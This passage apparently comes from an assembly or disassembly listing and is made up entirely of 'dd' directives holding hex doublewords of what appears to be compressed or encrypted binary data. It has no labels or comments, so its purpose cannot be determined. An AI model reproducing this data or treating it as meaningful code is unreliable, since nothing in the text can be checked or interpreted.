310885C0h, 0F89CA7E4h, 6923110Ch dd 24ED16A3h, 0AC1047B0h, 98E419B1h, 4B043E10h, 687A8861h dd 62D0409Ch, 101BD09Eh, 0CC490ADCh, 0BB633081h, 78E75813h dd 3B30F03Ch, 0BD3819A7h, 30AC416Eh, 9B88A610h, 2E7B0A2Fh dd 4780353Fh, 0B5A25076h, 0B090ABD9h, 5C279472h, 74E0A259h dd 0C4050BB2h, 0A4E0F011h, 16EF3F15h, 60187AA4h, 0EA707639h dd 0E5D716D9h, 4234006Dh, 0CDA9C625h, 876CED2Dh, 7386676Ch dd 0AD7727B0h, 0C2228CA5h, 7069A3DEh, 0FF804273h, 0C904984Ch dd 0DFB9016Ch, 7600C08Eh, 0B91C6CC1h, 0AA407EF8h, 30634F34h dd 0D37B434h, 28B38CA8h, 0A9988F54h, 0E0391731h, 0F88053DCh dd 0F984A4A2h, 2B17BBF5h, 3CC77B62h, 0C408B561h, 0FA46A464h dd 88705CE5h, 1C70301h, 28A4ED26h, 1D6B01F8h, 61BE80BAh dd 5111204Eh, 18F982E2h, 0B70C487Ch, 6FC00B13h, 0F900B0FCh dd 6A9FCFE7h, 5C0C0200h, 0FD0963F3h, 14362FBAh, 0C011A017h dd 3CB02D80h, 693FF65Dh, 28B8FC0Bh, 4B44BC87h, 0F0CADA61h dd 4EF006D7h, 0C4525Ch, 0C9A2D025h, 7D4032ACh, 2458B1BDh dd 58801448h, 0C3F3FA80h, 0F8BCE732h, 0F2E958h, 0C125EFF3h dd 0D7EA85FBh, 0DC19ED01h, 0AE20CD2Bh, 0F4108504h, 0EA000858h dd 2247744h, 0F8B40184h, 596916F0h, 27D0089Bh, 62B1F880h dd 2EADEACAh, 0A1AC08BAh, 184AF184h, 368B00FDh, 550E69CBh dd 0CD5E2FABh, 44CABC12h, 0BD038722h, 148B620Fh, 748CBD09h dd 9C3458CBh, 91158020h, 988B854h, 6946C29h, 3BC95AB0h dd 0DC05B108h, 0C87A801Bh, 0A125A964h, 67BC0BE5h, 6085448Ch dd 13E70E3h, 119C5DE1h, 4C28BD2Ch, 81C11FB8h, 0CE58C52Dh dd 0CB8018ACh, 0B7E4A445h, 19811363h, 0E389807Bh, 2D3F18B3h dd 460C0006h, 0C09FFDB4h, 6905E199h, 0C2372839h, 0C270AC0Eh dd 52AC9789h, 3FA21354h, 340020FAh, 74420938h, 359A320Ah dd 0AB6342C8h, 722A7A02h, 40D8CE68h, 99C9352h, 0ED30F1F6h dd 32BB1944h, 844D2438h, 0A26C9270h, 33BFF268h, 96D3A098h dd 85149AFEh, 5050212Fh, 904AE504h, 842A7048h, 0A3F961B8h dd 0C5A10A30h, 94ACC434h, 123B2408h, 0B96C230Ah, 44484B82h dd 0C0B98C09h, 68BCDE00h, 0DBF716h, 22E01A05h, 0DD5D1C36h dd 1420AA4Bh, 7C72FE29h, 1A6F27Ch, 0D494B342h, 72CC650Fh dd 0A8FBC8F4h, 28C24604h, 2C24A78Fh, 0E97004ACh, 0EB2E1687h dd 4F140466h, 631121D1h, 0F9106072h, 6CC3C18Ah, 71FEB9FBh dd 0BB7060C0h, 0C600896Ch, 58420479h, 145B0FCBh, 840A9908h dd 5C59B0C2h, 1022C441h, 506866F6h, 0B0F2A447h, 57CA5AA8h dd 0B1182088h, 0CB172A3Ch, 0FC29748Ch, 47E22422h, 315E30h dd 0BB02DE0Eh, 81603541h, 93918C40h, 3E5B01B0h, 26A4A35Ch dd 0A2A50418h, 0FC95E3C5h, 85F2BCF2h, 460E830h, 0DE089832h dd 0F324C2C7h, 24909E2Ch, 0E9386E5Dh, 84E468E5h, 0AC929E60h dd 0B5AE220Eh, 40B291h, 4C2A13BEh, 12BA0225h, 0F13FD4D6h dd 6A406454h, 0C084F2Ch, 0BE538922h, 0F600C719h, 59EE54D8h dd 0A957A0h, 98C0A4FFh, 153621E8h, 1F506078h, 7640ADA8h dd 6D540189h, 0B96B2F99h, 96D44822h, 1A7CF63Ah, 85283CE5h dd 0AC06A104h, 3BF0C088h, 0BA7F3E6Eh, 0D8B51094h, 66960BB3h dd 8BA0A750h, 0A05070C6h, 81AB6F64h, 2503291h, 0D325B9DFh dd 104074DEh, 89083FCEh, 79A3F1E5h, 1881D90Ch, 839B02D6h dd 0AA1CBD2Eh, 0FB2E6064h, 2B1F38D7h, 1DCB015h, 0ED2C7A6Ah dd 0E449AD48h, 0B8BC542Ch, 53E0008Ch, 7334D1BCh, 7B502A3Fh dd 0B040E498h, 983E118Eh, 0A8233F3Bh, 0B13B3033h, 283784E7h dd 9C831288h, 547AE229h, 5C5140A4h, 28000A18h, 3B92E390h dd 0EB4C977h, 475E9BD8h, 0C6AA627h, 0E8385704h, 20026103h dd 89C9C35Fh, 0CC16FC6Bh, 3472116h, 43B4C357h, 0DFF86694h dd 0FF006A41h, 3077995h, 0CE05E906h, 2FAEAD2Dh, 0C08BA921h dd 83D7CC66h, 4E5BD1Bh, 975812Ah, 23391288h, 50197483h dd 0B8320C53h, 894A07D9h, 1A9D8519h, 0BFD48D24h, 0A0576B5h dd 585BD3FFh, 1017C422h, 0B2AEF120h, 51830219h, 0E4C35930h dd 224C4689h, 5141041Ah, 802CC4C3h, 0A8FB0F48h, 0F9CB8B1Bh dd 680C1B8h, 958D2BBDh, 0EC7A1305h, 507A68EDh, 8D33D806h dd 50182275h, 0CDAA552h, 535FB964h, 56B01A2h, 893B071Ch dd 5043875Eh, 208F065Dh, 0C0F0026Ah, 0FFBF0F5Bh, 27BA1466h dd 5288EEA9h, 94C35AC3h, 6B22E284h, 52422019h, 700DEC3h dd 7AF155FEh, 62DDBD8Bh, 8F0F8A2Ah, 8D316B80h, 0AA8325E5h dd 0E9478385h, 74230013h, 236FBA1Fh, 0F63FE414h, 5C358007h dd 8970DA4Ah, 523BE817h, 1DE25250h, 1CA72B30h, 52391B67h dd 0F3E101BFh, 4802830Fh, 6A3DCEBBh, 5A8E2860h, 143502A0h dd 0C99DB083h, 1260A20Dh, 0E1C400B7h, 6850BB59h, 18AB9CF9h dd 14E90AC8h, 7A2C4BC0h dd 0EEB467h, 8ED512A2h, 1676430Eh, 2F5C880Eh, 40E5D9Ch dd 32180C68h, 47C20481h, 84018AAAh, 26FE086Eh, 25209D28h dd 5566CA04h, 0C35DC386h, 236C8991h, 554580C6h, 0FBFC7CC3h dd 37015491h, 0C1456F5h, 118233Eh, 0BD687961h, 0EA8A41A3h dd 0B5FFC806h, 1F5D155h, 411FF5A7h, 5171D62h, 0AAFBF30Ah dd 49F22BC7h, 4067480Bh, 2BA0018h, 0C712E198h, 8392F185h dd 109923E1h, 0EC502531h, 0F20447Dh, 27918436h, 1C5346D6h dd 8989C35Bh, 11C1C5Ch, 4AC35343h, 0C457C467h, 0BB3EA910h dd 0F78A0015h, 54F30FBAh, 8C3D356Bh, 0A3280733h, 939D0901h dd 2C801B91h, 0DE782ED0h, 0C1E85405h, 0E0C7F281h, 9570141h dd 11B9B42h, 0C235E95Fh, 1C11369Dh, 112EDB80h, 173BD796h dd 3D169D68h, 3E4465EAh, 75951289h, 9F7D200Bh, 0BBA35AF5h dd 32315B9h, 849EE0B9h, 0D0FF0F4Ah, 67518A0Fh, 1F0A3126h dd 3EFF208h, 3953BF66h, 8833123h, 226260Dh, 51EF8182h dd 0E204C774h, 83F0BC6h, 0A05C0BC6h, 8029353Eh, 0C537B589h dd 11C2BD18h, 81648016h, 1BD19E2h, 0F8837ACFh, 48850FFFh dd 0CA0880E1h, 9E07E968h, 83600064h, 0C77FDD78h, 142A84C9h dd 8121717Ah, 2AA66031h, 8110C989h, 0DE1EE2E7h, 4CDB2130h dd 17C2017h, 0FC8C4348h, 0A0008C1Bh, 56E8D37Fh, 0FF74D61h dd 0D56EB966h, 70E62036h, 502CE2CFh, 51080A95h, 0E95A0424h dd 0CA8140ACh, 7B57F516h, 0BEB14A58h, 49BD62C1h, 789DDBA0h dd 0C1415533h, 0DDC4024Fh, 0DD107E07h, 0FC1CB907h, 0D530CAC0h dd 2EE98BFEh, 83F93224h, 0BF876E80h, 2BBD3187h, 66E22E13h dd 9A61936Ah, 10E91115h, 0F5450B80h, 0B97F8693h, 2E00B5E6h dd 73470ACBh, 3115826Fh, 0B62B56E9h, 76688D2Ah, 0A702A4FEh dd 4099A1D9h, 298012E9h, 95C45D7Eh, 1500A1A7h, 24BA5261h dd 4C0A2F7Ah, 0F829D313h, 74782C4Ch, 0E3001C46h, 0B3363EFCh dd 912CC685h, 703FA428h, 0C6346A80h, 102FB1ACh, 42185058h dd 2A144C39h, 5DA1ADA1h, 62E93007h, 4660140h, 0C3F6DB8Ch dd 0FC698204h, 0A164C627h, 685694D0h, 0A8B81852h, 2E15E9Ch dd 0E00B4699h, 0D0472238h, 2EBFCA6Ah, 8164EDB9h, 0D98384F6h dd 47802D50h, 18AC9B68h, 498EC47h, 1EA4F08Bh, 61684F07h dd 8B82F26h, 0C7731F9Dh, 0C7DD5D6h, 56286A53h, 0C0298518h dd 41807575h, 87649868h, 322AADDBh, 0E16F2D0h, 0E7A4684Ch dd 0D120804Ah, 17D9F58Bh, 50045BE2h, 54DE5540h, 0C715B0C2h dd 87DBAB03h, 0E50C4363h, 49850702h, 556F6C1Dh, 47A1026Ah dd 8BB5942Eh, 67421194h, 97684580h, 9240A5F7h, 99314321h dd 0CAB0267h, 32750A28h, 0A3B46D60h, 32524EA1h, 94B6CC0Ch dd 0C8B56086h, 81B98B60h, 7DB60EB7h, 0B70F0E21h, 92761F6h dd 62F458Dh, 5E34F56Bh, 4293CC4h, 8C0B5009h, 1A616898h dd 58FF6480h, 0FACF2735h, 13258925h, 6DBB0009h, 603320A7h dd 612002B8h, 0C68B3B22h, 5C719A4Ch, 5BC8B42Eh, 5E615664h dd 7489C8C3h, 46C01599h, 1E2BC356h, 0CF780C52h, 70E10DD7h dd 52A19D31h, 64615682h, 5F719BC5h, 91DCA7Eh, 252767A8h dd 326C3180h, 0F251BD80h, 85A38889h, 0E9F5840Ah, 0BA22C89Fh dd 33709C0Bh, 11851DDBh, 68F28019h, 58CF57ECh, 29107563h dd 5894C31h, 0C033FF78h, 19238A3Ah, 0D5470C00h, 29019261h dd 0FE4E860h, 0A2C05CF7h, 8B664B38h, 5359DA18h, 77F8E8FAh dd 4061003Ah, 0B073F0Fh, 5458F64h, 7A4CBA3Eh, 0BD110Dh dd 0B0301CC3h, 0C79F6096h, 0B922FC09h, 1ECBC403h, 543B70Dh dd 0C1FB835Dh, 1315845Dh, 4C00E553h, 279F806Ah, 0F4C0587Ah dd 0A4CFE322h, 11530CC8h, 0B0EE798Ah, 0C70C0C1Ch, 0FF19A481h dd 4C8303CFh, 0A00415B8h, 0A08BC3A0h, 50550CC2h, 95D66E8h dd 3517ED81h, 14837C25h, 0D832881Bh, 5D198919h, 8B0F4F89h dd 85104DC4h, 2B042601h, 882C218Dh, 45D40DAAh, 8ACB04BBh dd 458350CAh, 0F3C8CDE9h, 0A91D4865h, 85C181B0h, 331BE512h dd 608AD75h, 0C358C250h, 2C4423E1h, 5040B044h, 0F40D00C3h dd 0AE749F17h, 8505454Bh, 605AB2B8h, 2CC3FC01h, 15ED8BF5h dd 48619D74h, 0B88078B9h, 4855D704h, 81640500h, 65BB0DF7h dd 868503D4h, 34B640BAh, 0E8EAB40Ch, 0EEED0C5Fh, 586802FBh dd 0A75564Dh, 4B2D463h, 2E540104h, 88158EE5h, 0FAE2C01Bh dd 6707172Ch, 60D1D48Bh, 1D81FC14h, 0E48761CFh, 6FF5B4DEh dd 15958D22h, 89CB7E4h, 7A1C465Eh, 0F27D6001h, 48722AE0h dd 0F02E51D2h, 2184043Dh, 26080739h, 20875CB6h, 0C0B2C708h dd 237DF181h, 436A4424h, 0E980CF18h, 50C2AB3Ah, 382E6347h dd 0ADF03538h, 7845C001h, 70016563h, 6E6F6974h, 66CD4920h dd 516D72D8h, 61410C61h, 73E5656Ch, 0DF202CCCh, 4F641D08h dd 73BE6874h, 338F6C36h, 67F36977h, 64D363F3h, 287D73FBh dd 6136F7F3h, 0F1526440h, 2A9D2EFDh, 5420066Dh, 6B761668h dd 757F797Bh, 40D0A37h, 286301FAh, 73463070h, 52544362h dd 0FF2B4C3Ah, 699ED1D9h, 64971EB3h, 0A18FA06Ch, 8795470h dd 7F69796Ch, 72610A62h, 20362964h, 65563E42h, 3F9973A9h dd 25BC3DBFh, 1431EE5h, 496B6387h, 640F524Eh, 47554F38h dd 72500F54h, 421DF46Fh, 323BDA0Fh, 69E6030Fh, 0F3D4374h dd 95B71E90h, 188E1A50h, 0F4811E3Ah, 631CB9BDh, 12D10FEh dd 0DE129A48h, 50610CB0h, 6584480Eh, 0C3802568h, 1963EE78h dd 0AD369924h, 7A3190Ah, 164CB32Ch, 0C324A25Ch, 0A56559A5h dd 30E2977h, 38A74425h, 0B3648D6Eh, 648DBB38h, 8DD938BBh dd 0C238B764h, 38AB648Dh, 0AF648DCAh, 4885D138h, 2F5C20Ch dd 0C4A2E902h, 0DDBD122Eh, 953A3219h, 1D890DA2h, 8A118510h dd 1C99CF60h, 76C28180h, 0DF6382F8h, 5B25234Ch, 34529C21h dd 0C3402881h, 0FC893BD4h, 3D9E2991h, 40480CB4h, 9D8B8A55h dd 4CC38B13h, 659AB1C2h, 8501131h, 549087A7h, 5879B388h dd 9087B708h, 0A9AB885Ch, 0DAA4FDCh, 1468D1AFh, 995ACD14h dd 0AB0CAF0Ch, 21B74386h, 0C8A790B3h, 490AA8A3h, 0D58A1C9Dh dd 4B54707h, 2D061403h, 0C4EDA0E1h, 0CA406A24h, 5A19BF24h dd 25BC1B73h, 8BB09801h, 0B3EB7EC1h, 0BE9508Eh, 6012599Ch dd 4E194687h, 803AF645h, 464C261h, 69A0E634h, 814C860h dd 46ABF610h, 0C324614Fh, 2186F8E9h, 8F94B58Bh, 36E68138h dd 0C9C618F0h, 3668E833h, 7C9EC681h, 98B53B86h, 860F1B39h dd 20B151E9h, 0CD22E5D8h, 506F80CFh, 24C88C66h, 0C00A2403h dd 0FD2A201Bh, 842FAC3Fh, 4D88858Bh, 0A181286h, 673F10DBh dd 0EC717458h, 0C6246404h, 82AA53CFh, 0E1820814h, 6A721DCDh dd 2E4C013Eh, 0C004B0FEh, 10B4531Ch, 62897B66h, 5B0209FCh dd 5D0953B9h, 0A82074Ch, 11E02143h, 0EF5330BBh, 63E380CBh dd 3884C303h, 0F3764B42h, 0C59B1C7h, 448DE66Dh, 4898D1E6h dd 6AB89C5h, 24C718E3h, 0CE9A5E9h, 0BDCA0123h, 0A364A25Bh dd 3E806042h, 1031EA49h, 7B7A1BBh, 1B0763Ah, 0C35129B1h dd 0C88AAC00h, 0E432C302h, 0AACB0CD1h, 140D20Bh, 640A4A88h dd 5BE5D6C9h, 50DDC323h, 1C521011h, 0C157D48Bh, 0C033087Ah dd 0AA2140E9h, 58E13F80h, 5A545F8Dh, 513753BCh, 0DB253256h dd 0AC3D83B2h, 0D3D1D800h, 5ABCC381h, 0B0374637h, 0B49469Fh dd 8BE84497h, 595EC30Eh dd 7B608A5Bh, 8C11E962h, 0AD2AEA2Bh, 23C01077h, 0D4DF90E7h dd 0A8D80C0Fh, 0A6293C04h, 0A83948D4h, 609A254Ah, 3D858F60h dd 640A21D2h, 0BD1F0635h, 38890D22h, 7C3F23E9h, 408BC794h dd 0F317C0EEh, 0A4899B46h, 7F148621h, 2846AB3Ch, 0F930521Eh dd 0E91AAE22h, 0DF296987h, 80727604h, 0B80C7A4Dh, 45CAB20Bh dd 0E055E4A9h, 307206h, 3B46C8D1h, 0F1820FF7h, 0EA818DA4h dd 0D9284B08h, 284B284Ch, 53515682h, 2C021342h, 674C0C4Ah dd 0C92D3C28h, 40A44h, 32133498h, 8C3C1D8h, 67AE1C90h dd 595B1CA0h, 1375E51h, 83CC598h, 81095C71h, 880CED8Ah dd 1542255Dh, 237D103Dh, 0C079E881h, 0A716700h, 0A7765225h dd 87378807h, 56069BFh, 44A311h, 0BE58F9D1h, 1EA1404Bh dd 12C08108h, 6653005Fh, 0BF59CB8Bh, 0F28C4A4h, 0E9307C81h dd 1FC00B0Eh, 8BF70016h, 91FE2BC4h, 3C02C1B0h, 34FF2D42h dd 32B6607h, 0AF6AF6D1h, 0F3F8E06Bh, 5A005D83h, 81D8BF0Fh dd 7DE492F2h, 400DB497h, 0D5C9E688h, 0BF20B360h, 0C0444E10h dd 4DCCA0Ch, 0D9008B26h, 9CEBBE52h, 0F68F759Dh, 84A638h dd 0A3AE7CB4h, 0F421063Bh, 61B76B00h, 8974E0DCh, 1B9B0143h dd 811FB55Bh, 5976F4EFh, 9C6068F3h, 17E81A00h, 3B27C633h dd 3681B32Bh, 0C781DEB5h, 131A85Dh, 0FA510844h, 9530FDBh dd 0C5FD58E1h, 94A1C0FFh, 3EE1574h, 0F180663Eh, 0A3875163h dd 0CEF2291Dh, 0B6439h, 0E44B3895h, 0A3ADD2Eh, 7660ABEEh dd 4FDB00B1h, 1C8D3193h, 65E86C00h, 0DD28E341h, 0B56200C6h dd 0A5E14CC7h, 5200F040h, 34B0DB2Dh, 18CC8573h, 20FE115Ah dd 5814A928h, 0F7207BB7h, 25605534h, 353A7DE7h, 6F30604Ch dd 380EBBAh, 0D90C8BC6h, 830A3CEh, 0B20A2157h, 0E34006EBh dd 0E0D6AF34h, 2A82EA00h, 0A78C288Dh, 4F28C0E4h, 161E71C7h dd 0F9646E03h, 306C664Bh, 0A621FB08h, 49EA1E79h, 0A8C77100h dd 6FEE11A2h, 0D3921481h, 0D20184C5h, 5C4E30F0h, 5EA8CBA1h dd 6015AF2h, 27E749DEh, 99804259h, 1297E819h, 87180E15h dd 6A204FDFh, 0F76B1E81h, 0C0B406B7h, 280018DEh, 732414FDh dd 19C31354h, 80B5C2Ch, 9E2180C6h, 0E0E3241Ch, 1F55008Dh dd 7FBA9F0Ch, 71C04534h, 6331924Dh, 26F8D7h, 71F6BF0Dh dd 0EF102921h, 0E84FD902h, 4DB7ADh, 7201CEBBh, 41F0F130h dd 18DA664Fh, 209098D3h, 9018EF5h, 696ED250h, 0A84249DBh dd 1E753088h, 446E1211h, 0A280FD88h, 837F1E7Dh, 0F15A0178h dd 0BD56D099h, 20CDD574h, 2D32A385h, 308E58DCh, 14111E73h dd 0FA88746Eh, 1E7BA480h, 141BE6h, 3D783112h, 48524022h dd 8D48h, 0BC3049C0h, 0DF4B5127h, 0A05F00E1h, 0D7832E52h dd 0F2ACE855h, 19793841h, 0C684F340h, 113893ABh, 0B60E0053h dd 201AEEBh, 0DB500C0h, 0F9CD4246h, 54114CC1h, 9843E76Ah dd 3E30F3A2h, 85930087h, 0D275A3CBh, 21C6F2CDh, 8270Fh dd 0D69903E7h, 2B34A05Eh, 156E5C07h, 740081C8h, 1849BEECh dd 39E6C5D2h, 1964A31Eh, 0B9607EE8h, 0C62383EBh, 561193h dd 12EBB109h, 1F8D46D8h, 666DE974h, 280C098Dh, 0C511601Dh dd 0FFD79280h, 3530D007h, 68AB695Fh, 0F3B100D9h, 0C27AC9E9h dd 0BE781862h, 0BA37B003h, 237630C4h, 1201B270h, 23547524h dd 9888C418h, 21240B1Ah, 6B56929Dh, 0C016C503h, 522100DAh dd 1C187470h, 7201EAF3h, 88CB95Ch, 0A7C82A83h, 0DD29C0D8h dd 0AB3D96F5h, 0EC647804h, 5C8118D9h, 60DE1113h, 0AA27CB08h dd 443847F8h, 727F60FAh, 0E1EC0093h, 0C23058D9h, 0BB0648A4h dd 0D6C121C4h, 76530089h, 6C152A11h, 96625498h, 84BC4932h dd 0BF6078ECh, 0C62385EBh, 5411A3h, 82EBB70Fh, 241D724h dd 0AFFF953Fh, 1846C4D2h, 0C28E9A02h, 60ACCB5Ah, 635727D4h dd 63404149h, 90302978h, 955CA1DCh, 0C4A801D5h, 56CF184Ah dd 8F383187h, 0A38A2829h, 0A1CD0CBBh, 19809064h, 0E60F6B27h dd 0C67C15D6h, 30AB9844h, 4D71F75Eh, 1D3D1BB8h, 2E38008Ch dd 5627CA88h, 0F821D44Ah, 0D33AFA01h, 80C9C186h, 0B4929971h dd 3A878B19h, 593E6FD0h, 0B061E387h, 38A7D00Bh, 2100EB09h dd 0DD4227C4h, 0C02B0F1Eh, 8C840881h, 9106A1BEh, 99A9E36Bh dd 21326708h, 6020FE69h, 279CCAA0h, 0A61AA10Ah, 2B808CE8h dd 0E391F52Dh, 0C1CE00A3h, 39E19DBBh, 820011FEh, 3C8F5D29h dd 0B07F3ECFh, 2C022220h, 0A0B1D4FAh, 0C31C5644h, 0D9265F8Fh dd 58A18005h, 0D480E076h, 0E0E7AC2h, 0D7E14A6Bh, 8ABF14A5h dd 873F20E4h, 6FEF8820h, 181188C8h, 0B88C8281h, 3331C6A1h dd 8C8A6F10h, 0F00F8F03h, 8AC6B8AFh, 0D1004199h, 0E1C3D210h dd 0ACE390ABh, 6704397Ch, 0F9401A92h, 307B6482h, 8611EBBCh dd 5B88BBC6h, 0EBB400BDh, 0C142F90Ah, 0DE51C0CFh, 0F1194E99h dd 0BF07DB74h, 230318D6h, 56E42A50h, 0E46E58B6h, 8C762848h dd 71241604h, 0C7620354h, 241E9C20h, 0A8600D4h, 9306D672h dd 2F00A981h, 1FA3457Bh, 0A328EFA4h, 0C109186Ch, 1DBD11A6h dd 2829E824h, 5E721900h, 15A3C38Dh, 0C4FAC658h, 0AC546203h dd 0D5E0E149h, 28376FC4h, 0D78040CDh, 13626C29h, 1A6AC621h dd 0F40228A8h, 0AC28C732h, 0BD28D211h, 48D712A8h, 2E0440EAh dd 0B022EC0Eh, 544E1800h, 13E91B3Dh, 0A181005Fh, 0E5B54DAFh dd 6E0015D9h, 0E10D21ADh, 2EFA562Eh, 6BE7h, 29CDE626h dd 0DF145A6Eh, 414452C4h, 0CA56D828h, 30C06AE8h, 7648A524h dd 0C680C1D6h, 20F4B972h, 0A2F8A16Ch, 62B099C2h, 0EE7848C5h dd 0C1FCE458h, 0F08F1C18h, 0D71BF495h, 0E5AE6814h, 0DBC88E94h dd 0C60DE130h, 41818DE1h, 0DD2358A5h, 1070BE2Eh, 0C33DCE41h dd 28F9A61Fh, 3A0E10CCh, 65400CDBh, 7E34E80Bh, 22D5060Dh dd 0C06D1327h, 0E7100E00h, 5D4018B2h, 6129C809h, 246F9542h dd 75E210Ch, 13275512h, 0CF43606Eh, 760011Dh, 76EF0D0h dd 2041F0F3h, 0A100BD90h, 66F511C0h, 16BB714h, 49553E46h dd 3074D9B8h, 160FF767h, 0A0E1C00Ah, 9FCA29E4h, 0FCD0014h dd 0CC6DB8D6h, 0DA00E799h, 43315E98h, 1F60ADFh, 0A2D408FEh dd 0D7730B39h, 7DA2900h, 0A3B39179h, 0D9DE1E51h, 6E03C617h dd 0B1004047h, 0E034D8A8h, 0BE19D6h, 9B09752Ch, 385D9A3Bh dd 0EA14BF00h, 2AC78B57h, 0FECC007Bh, 3FC213C9h, 2000F04Dh dd 6BD5D333h, 84EA28h, 6932536Eh, 61E904C0h, 7F14501h dd 0E198AFFAh, 0FAF04EE0h, 0B78D0091h, 78F5DA8Ch, 0FB765BFCh dd 807FFA38h, 0C27D873Fh, 21E98E6h, 18857C26h, 686BAEB7h dd 0E0F358C9h, 9414711Ah, 80A47988h, 0B9485439h, 193880D1h dd 829C4F00h, 0E4726FE3h, 510D00BDh, 3B2C5CC5h, 0D50C4223h dd 96100B09h, 0D87800F8h, 0B1127E63h, 2D07546Dh, 0E805CF68h dd 0A0882C32h, 0D2BBD8B8h, 9BB079h, 0AFF67A19h, 0EEAE63CEh dd 1FF17B00h, 0E06CC0E7h, 0E3E4E716h, 0C520582h, 450F08h dd 7ADA7FD4h, 0D00CDBFh, 0D346C650h, 855F67h, 7F93D0E6h dd 1478B101h, 0F1004F73h, 0C7246F59h, 0A06CCBBh, 0CB7386BEh dd 0BAAD00ACh, 0F7DA50A4h, 27321700h, 0BF9E3C7Dh, 29FB0016h dd 0E56EABB8h, 6F04365h, 1FE44F00h, 0C252D0F4h, 90946059h dd 25EB10B1h, 0F355CF00h, 0AB1F61A5h, 76A004AFh, 0D77EA6BBh dd 301907D4h, 0E3CE57D6h, 4700D375h, 0E1AA2A6Ah, 734BBCh dd 5CDE6EDDh, 69DBBAF2h dd 0D61EF30Ah, 1C0E9CCFh, 2C0BC53h, 9ABD18EFh, 91501F6h dd 9B3DE0C1h, 1358203Ah, 2AAECF1Eh, 1A003953h, 0E4CAC88Bh dd 0E82E006Ah, 0D3B2F679h, 0D50063EDh, 82D262F1h, 6C1339h dd 4DFC44A4h, 0FEF3EB8Ah, 48AEEE03h, 0CEEACBh, 0B0187880h dd 0FD708492h, 0E600B87Eh, 2AEAD18Dh, 33CFE13h, 5A2E9901h dd 0F09F9102h, 62194ADBh, 1CE81CB2h, 35003492h, 0D8A54C58h dd 822F7Bh, 0E50C18FDh, 64EC3895h, 5073DD00h, 3613A7CEh dd 31411320h, 0FF084015h, 0CD99066Fh, 4FCC7712h, 8A3C3C0Bh dd 18803C2Ch, 0DCE05D2Fh, 98750005h, 7F38F53Fh, 5C002EF3h dd 639E56FFh, 4CCAF7h, 0A2BCAD2Dh, 33723F4Fh, 0FD095092h dd 0A07D977Eh, 8865BD00h, 0C7BF79DDh, 61035110h, 0F36C492Ch dd 0A58D3007h, 0A19FCBEFh, 0C7F4F337h, 4595F0h, 6A66949Ch dd 1276D197h, 8C874028h, 37980504h, 0FE00DF96h, 0D2FFCB90h dd 0D0ECA900h, 0B38F4C31h, 0AC713F1Eh, 97973h, 8751F070h dd 0A7DB5AA4h, 0F5BCBA00h, 949D9945h, 0F4509064h, 0C351282Dh dd 0B08C80AFh, 6DAB4410h, 9F39A91Fh, 0ADC2C740h, 0E0F96870h dd 0E77E8Eh, 5923E4F7h, 9A2E53FCh, 33450500h, 0F1439997h dd 748D4846h, 3D018603h, 11003C27h, 426BCB4Ch, 58322BBh dd 0CAE78111h, 101C802Ah, 0D177F91Ah, 1F0BE601h, 7D58A898h dd 9AA05FF8h, 26AA00B8h, 5DC53806h, 8C1D9561h, 2F09407Ch dd 3BC4A0B3h, 5CC83C80h, 1400C152h, 6A77BB54h, 0C6008564h dd 0A6AAD038h, 244319h, 0C9EA74E3h, 1113E41Ch, 0DC81C000h dd 297CB173h, 234BA8Ch, 0B0F41A52h, 4461D906h, 0D0E0DBB5h dd 0D4005C40h, 66E11C20h, 4CCB8F79h, 2C0AD0CFh, 0ECEF8Eh dd 0B435D216h, 37005D6Ah, 69B39A7Ch, 8E50A2h, 51A8E0F9h dd 81631A90h, 25B22148h, 87148083h, 7DD75ED8h, 0F4BD00A3h dd 9B9A6444h, 0FD007967h, 0DD2104B4h, 7998554h, 1F2BE892h dd 0F3C957F2h, 0DCC8ADD4h, 8A0F4B35h, 0A5757CBEh, 6C802A70h dd 0AE379B8h, 5FD02420h, 0B4D980ACh, 0E75E4173h, 26474B02h dd 4032257Fh, 8D5560h, 0DD134E70h, 144F3E20h, 21D8C300h dd 783A7FEFh, 0D7C03F03h, 3D665400h, 0CD1ECBFh, 0D601AC00h dd 0F1625130h, 1F3B3EEAh, 0EF7F5000h, 40658215h, 4860C63Eh dd 760379B8h, 3D573E0Dh, 0A27803BEh, 9A494B3Fh, 0C07BF7E0h dd 3618D87Bh, 1C20C89Ch, 3EA73FC6h, 24A4CB87h, 8142504Ah dd 5C7EFC28h, 89F43304h, 0D089F0CCh, 80E204C2h, 21B32CFEh dd 5F8A6600h, 0FA5A0340h, 0A46400C2h, 0D4B1DC0Bh, 0C7287CC8h dd 960190CBh, 0DAFAA19Dh, 5C306F2Bh, 551600B1h, 84FFA6B2h dd 0D0004753h, 836568EBh, 1640D3F7h, 14E9F3h, 871AB8B4h dd 0A1076D37h, 0F6311847h, 75AC0440h, 2B1C17FFh, 0AEB900A6h dd 6AEACEC2h, 0F0635000h, 2657F8F2h, 8F350138h, 24AF5B33h dd 3E4C245Ch, 545A7800h, 757B5F1Ah, 1EBC00FBh, 3B87DE18h dd 0FF00BB35h, 0A73CD5DBh, 920916h, 702F3621h, 5FCED003h dd 0E8F36400h, 0F6B84231h, 39A87C09h, 0BF383758h, 400CD500h dd 8BF72E9Bh, 95210500h, 89724B7h, 2F881D45h, 0AF8040E5h dd 1ECFA55Fh, 7E02F4E0h, 0C9319F4Eh, 21C8402Ah, 0D2262686h dd 1B580013h, 5BFEB01Eh, 6CAB100h, 0A1D37ECDh, 208B185Eh dd 7FBC5837h, 0DEBB4102h, 50514A74h, 7EA913F8h, 96B84076h dd 0CC1529EAh, 73C38000h, 9568ED5Ah, 6FA0075Ch, 7532CF1Eh dd 3A9442ECh, 744882B1h, 0D1EC7960h, 0B61ECB00h, 651C06C1h dd 775500ABh, 0A93CC856h, 0D44AF109h, 6642F402h, 8BAC80FCh dd 0FDBF92Eh, 0D82C2A19h, 6B9D61A0h, 411CD5F1h, 36003DB7h dd 0F94568C2h, 0B2950F0Fh, 0E42058ACh, 5C0CE612h, 0BC0036FEh dd 2040B48Ah, 7C3FA1B5h, 5E7B1Ch, 2EA9C9F8h, 0F39F863Dh dd 737D4E75h, 0AFE3A51Fh, 40BB6B81h, 9887708Eh, 83C37B54h dd 11204677h, 0CDB4A43h, 0A92056B8h, 394B1920h, 0E1C827DDh dd 0C6E4F01h, 0D0E3CCF9h, 0B10F16D9h, 4E6BF1A9h, 684D2050h dd 0BCED569h, 37C320A6h, 50223886h, 8B5C7108h, 6C4F03E3h dd 6E91F91Ch, 408CF1CBh, 0D9EB640Ch, 0CFBC800h, 1CA2A681h dd 0FDB00020h, 0D8F4366Ah, 1D0052C7h, 0F7300F4Fh, 16DB6184h dd 6EDE449h, 48790EB6h, 48E73Ch, 0DE0CC33Bh, 1DA3DB39h dd 3CF6BA1h, 